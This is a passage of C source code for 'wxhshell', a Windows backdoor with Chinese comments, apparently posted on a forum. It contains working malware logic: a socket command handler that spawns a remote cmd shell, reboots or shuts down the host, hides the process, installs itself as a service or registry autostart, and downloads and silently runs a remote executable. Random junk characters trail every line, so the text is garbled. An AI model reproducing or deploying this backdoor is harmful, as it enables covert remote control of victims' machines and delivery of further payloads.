  else 6qW/Td|g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q\pTyNAYn  
  } OLThi[Yn  
  else { |v,5s=} 7  
O5:?nD  
    switch(cmd[0]) { 5 pJ)OX  
  n"[VM=YGI  
  // 帮助 *Nv!Kuk  
  case '?': { DB1GW,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0q|.]:][Eo  
    break; BoJYP  
  } T=/GFg'  
  // 安装 dKs^Dq  
  case 'i': { C$9+p@G6  
    if(Install()) ,QDS_u$xi&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r-27AJu  
    else *h+@a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pm2T!0  
    break; .T*K4m{b0  
    } :6~DOvY  
  // 卸载 I%.96V  
  case 'r': { ~hubh!d=  
    if(Uninstall()) OQ[E-%v1 R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t7A '  
    else KC+C?]~M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qTbY'V5A  
    break; 1ga-8&!  
    } >Oary  
  // 显示 wxhshell 所在路径 c,cc avv{I  
  case 'p': { }( x|  
    char svExeFile[MAX_PATH]; ']nB_x7  
    strcpy(svExeFile,"\n\r"); [@SLt$9"  
      strcat(svExeFile,ExeFile); 4dkU;Ob  
        send(wsh,svExeFile,strlen(svExeFile),0); AJ0qq  
    break; ]_cBd)3P}  
    } r?{$k3Vl  
  // 重启 Y^zL}@  
  case 'b': { G k'j<a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <SiD m-=E  
    if(Boot(REBOOT)) 7@[3]c<=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bjgf8427I  
    else { 4nC`DJ;V  
    closesocket(wsh); KfC8~{O-  
    ExitThread(0); xM ]IU <  
    } 4vri=P 2%  
    break; .C]V==z`[4  
    } ^P5+ _P  
  // 关机 jy=dB-&  
  case 'd': { rgQ6/3}qc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A=Au>"nAA  
    if(Boot(SHUTDOWN)) qT`sPEs;V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K<@gU\-!  
    else { #St=%!  
    closesocket(wsh); ;aZ$qgN*Y  
    ExitThread(0); ,@+ 7(W  
    } MQL1/>j;  
    break; ,2Y P D4  
    } fz%I'+!  
  // 获取shell E)eRi"a46  
  case 's': { '4gi*8Y  
    CmdShell(wsh); YkRv~bc1]  
    closesocket(wsh); }E=:k&IDPB  
    ExitThread(0); D`nW9i7  
    break; Yg 8AMi  
  } 2ckAJcpEb/  
  // 退出 Of)EBa<5^  
  case 'x': { v 4@=>L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1<hj3  
    CloseIt(wsh); 8&15k A  
    break; . &dh7` l  
    } 2o0.ttBAqZ  
  // 离开 0\ G`AO;D  
  case 'q': { V=<OV]0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pn)^mt  
    closesocket(wsh); ^;J@]&[ ~  
    WSACleanup(); l0c ws`V  
    exit(1); 3"2 8=)o  
    break; 5):2;hk  
        } }-3| v<d  
  } mQRQ2SN6  
  } C -@  
-4P2 2  
  // 提示信息 _pu G?p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = > .EDL.  
} Fs^d-I  
  } >>lT-w  
?Ji.bnfK  
  return; I(6k.PQ  
} !FhK<#  
Cm:&n|  
// shell模块句柄 R|PFGhi6"A  
int CmdShell(SOCKET sock) p5<2tSD  
{ (2H e]M\  
STARTUPINFO si; F...>%N$  
ZeroMemory(&si,sizeof(si)); (mq 7{ ;7y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JpVV0x/Q/_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ql7*g?Uq@  
PROCESS_INFORMATION ProcessInfo; B_FfXFQm<  
char cmdline[]="cmd"; f =H,BQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4:$?u}9[:[  
  return 0; :3qA7D}  
} %|(~k*s4  
$y !k)"k  
// 自身启动模式 NB]T~_?]*  
int StartFromService(void) ^%X,Rml<e  
{ RX",Zt$q  
typedef struct \~H; Wt5  
{ /1X0h  
  DWORD ExitStatus; i2or/(u`  
  DWORD PebBaseAddress; ;IhkGPpWP  
  DWORD AffinityMask; Fs q=u-= :  
  DWORD BasePriority; QJFx/zU  
  ULONG UniqueProcessId; 6&(gp(F  
  ULONG InheritedFromUniqueProcessId; hJ8|KPgdw  
}   PROCESS_BASIC_INFORMATION; Vq`i.>%5  
"65@8xt==  
PROCNTQSIP NtQueryInformationProcess; ayfZ>x{s*  
.pNPC|XU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Q2 `":  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6l|pTyb1  
S[fzy$">  
  HANDLE             hProcess; ]A}'jP  
  PROCESS_BASIC_INFORMATION pbi; vt`hY4  
6x\+j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pm<zw-  
  if(NULL == hInst ) return 0; {r2-^Q HF  
YQ>P{I%J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;I'pC?!y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jKV,i?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wyO@oi Vn  
XAuB.)|  
  if (!NtQueryInformationProcess) return 0; Ya] qo]  
b&uo^G,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Sn5ME<*  
  if(!hProcess) return 0; azMrY<  
nV I\Or[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XZhX%OT!  
<\k=j{@  
  CloseHandle(hProcess); \M>+6m@w  
]}Hcb)'j@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6T 2jVNg  
if(hProcess==NULL) return 0; Fy-+? ~  
Y7R"~IA$  
HMODULE hMod; |xaJv:96%  
char procName[255]; xw-x<7  
unsigned long cbNeeded; z^ +CD-  
u/FnA-L4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4VE7%.z+  
pfW0)V1t  
  CloseHandle(hProcess); <a *X&P  
=Haqr*PDx  
if(strstr(procName,"services")) return 1; // 以服务启动 3=xb%Upw  
}'{39vc .  
  return 0; // 注册表启动 TRG(W^<F  
} tBe)#-O  
M-KjRl  
// 主模块 a pqzf  
int StartWxhshell(LPSTR lpCmdLine)  $3](6  
{ }fw;{&s{z  
  SOCKET wsl; GW$ (E*4q  
BOOL val=TRUE; o uKID_ '  
  int port=0; HxJKS*H;  
  struct sockaddr_in door; qPdNI1 |  
-X(%K6{  
  if(wscfg.ws_autoins) Install(); c_xtwdkL9  
=?UCtYN,P  
port=atoi(lpCmdLine); ~~ ]/<d  
GDC`\cy  
if(port<=0) port=wscfg.ws_port; WAiEINQ^)  
42LlR 0  
  WSADATA data; '01H8er  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |i-Qfpn  
xKKL4ws  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i> Ssp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wL,b.]  
  door.sin_family = AF_INET; }*l V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =tl[?6  
  door.sin_port = htons(port); ~*D)L'`2M  
e!yUA!x`u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v=?U{{xQ  
closesocket(wsl); MjC;)z  
return 1; Ky`rf}cI>  
} +=%13cA*U  
[w l:"rm  
  if(listen(wsl,2) == INVALID_SOCKET) { .['@:}$1  
closesocket(wsl); [6qa"Ie  
return 1; ~T<#HSR`  
} HGmgQ>q@M$  
  Wxhshell(wsl); s)<#a(!  
  WSACleanup(); 1QM*oj:  
J=>?D@K  
return 0; eSXt"t  
I ,Q"<? &  
} >L/Rf8j&  
!o &+  
// 以NT服务方式启动 6\4n y0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q17"hO>kC  
{ +NPk9jn  
DWORD   status = 0; N]: "3?%  
  DWORD   specificError = 0xfffffff; HTI1eLZ2  
u3kK!2cdP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j~V@0z.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CFqoD l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -yeQQ4b  
  serviceStatus.dwWin32ExitCode     = 0; 0m,A`*o  
  serviceStatus.dwServiceSpecificExitCode = 0; X"b4U\A  
  serviceStatus.dwCheckPoint       = 0; 0Mt2Rg}  
  serviceStatus.dwWaitHint       = 0; B{!)GZ(}  
NAhV8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ed*Cx~rT  
  if (hServiceStatusHandle==0) return; joDnjz=  
6cSMKbgZJ  
status = GetLastError(); zfL$z,zgf  
  if (status!=NO_ERROR) (,Yb]/O*  
{ ws tI8">  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I#@iA!  
    serviceStatus.dwCheckPoint       = 0; #(h~l> r  
    serviceStatus.dwWaitHint       = 0; )eGGA6G  
    serviceStatus.dwWin32ExitCode     = status; }GsZ)\!$4  
    serviceStatus.dwServiceSpecificExitCode = specificError; -h*Yd)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r9@O`i  
    return; gBHev1^y  
  } xBU\$ToC  
;OmmXygl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B{a:cz>0<  
  serviceStatus.dwCheckPoint       = 0; j11\t  
  serviceStatus.dwWaitHint       = 0; ,Ihuo5>/z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [6BL C{2  
} /7*jH2  
lO8.Q"mxo  
// 处理NT服务事件,比如:启动、停止 F1R91V|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5/DTE:M<  
{ k);z}`7  
switch(fdwControl) 8,YF>O&  
{ ]R}#3(]1  
case SERVICE_CONTROL_STOP: Ri4_zb  
  serviceStatus.dwWin32ExitCode = 0; UT [7 J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m\7-/e2 a  
  serviceStatus.dwCheckPoint   = 0; #h ;j2  
  serviceStatus.dwWaitHint     = 0; WM: ~P$%cx  
  { 28SlFu?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rui}a=rs  
  } [e3|yE6  
  return; -'JTVfm.  
case SERVICE_CONTROL_PAUSE: ;|w &n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z=!$3E ecr  
  break; C!XI0d  
case SERVICE_CONTROL_CONTINUE: rfYu8-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c }ivYH?`w  
  break; MjE.pb  
case SERVICE_CONTROL_INTERROGATE: EG&^;uU  
  break; n=r}jRH1  
}; l7aGo1TcIh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (U2G"  
} )(*A1C[  
Di9yd  
// 标准应用程序主函数 D/V. o}X$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *)ed(+b  
{ a\vf{2  
riZFcVsB  
// 获取操作系统版本 G6JyAC9j  
OsIsNt=GetOsVer(); Q'JEDH\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q6,rY(b6  
]?-56c,  
  // 从命令行安装 T =3te|fv  
  if(strpbrk(lpCmdLine,"iI")) Install(); jp8=>mk  
m<8j' [+  
  // 下载执行文件 Jl Q%+$  
if(wscfg.ws_downexe) { yr&oJYM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YC&iH>jO3  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~D@ V@sX  
} % %c0UaV  
kBIF[.v(\  
if(!OsIsNt) { 0o At=S  
// 如果时win9x,隐藏进程并且设置为注册表启动 fj0+a0h  
HideProc(); i0-!!  
StartWxhshell(lpCmdLine); ; VK;_d  
} ~0ZEnejy  
else >1pD'UZIy7  
  if(StartFromService()) h|=^@F_\`  
  // 以服务方式启动 HCHP15otfe  
  StartServiceCtrlDispatcher(DispatchTable); ZyCAl9{p  
else P.qD,$-  
  // 普通方式启动 ;DC0LJ  
  StartWxhshell(lpCmdLine); au"HIyi?k  
"c!s\iuBU  
return 0; dtA- 4Ndm  
}
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只看该作者 1 发表于: 2006-10-10
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